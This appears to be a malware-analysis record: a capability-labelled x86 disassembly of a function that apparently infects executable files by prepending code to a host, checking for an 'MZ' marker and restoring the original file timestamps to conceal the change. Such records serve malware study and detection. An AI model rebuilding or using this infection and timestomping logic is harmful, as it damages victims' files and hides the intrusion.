Function at 0x403b18
Capabilities:
Copy file
Read file on windows
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403364
xor eax, eax
push ebp
push 0x403e5e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x403e3e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.00403374
mov ebx, eax
push ebx
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x403e34
push 2
push 0
push 0xfffffffffffffffc
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
xor eax, eax
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 0x14], 0
je 0x403bd1
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
xor eax, eax
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 2
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 0x14], 0x5a4d
je 0x403e34
mov eax, 8
call fcn.00402438
mov dword [ebp - 0x28], eax
mov eax, 8
call fcn.00402438
mov dword [ebp - 0x2c], eax
mov eax, 8
call fcn.00402438
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetFileTime
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
push 0
mov eax, dword [0x40667c]
call fcn.00403374
push eax
mov eax, dword [0x406678]
call fcn.00403374
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [0x40667c]
mov eax, dword [ebp - 4]
call fcn.00403a80
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ebx
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 8], eax
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [0x40667c]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateFileA
mov dword [0x406664], eax
cmp dword [ebp - 8], 0xffffffff
je 0x403e05
cmp dword [0x406664], 0xffffffff
je 0x403e05
push 2
push 0
push 0
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_SetFilePointer
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
call fcn.00402438
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x403dfe
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x403de5
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call fcn.00402438
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x403dde
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov esi, dword [ebp - 0xc]
push esi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x403dc5
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x24]
push eax
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x403dc5
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x403dc5
push 0
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x403dc5
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FlushFileBuffers
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403de5
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.00402458
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403e05
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
call fcn.00402458
ret
cmp byte [ebp - 0x31], 0
je 0x403e20
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x403e48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403e65
lea eax, [ebp - 4]
call fcn.00402ff8
ret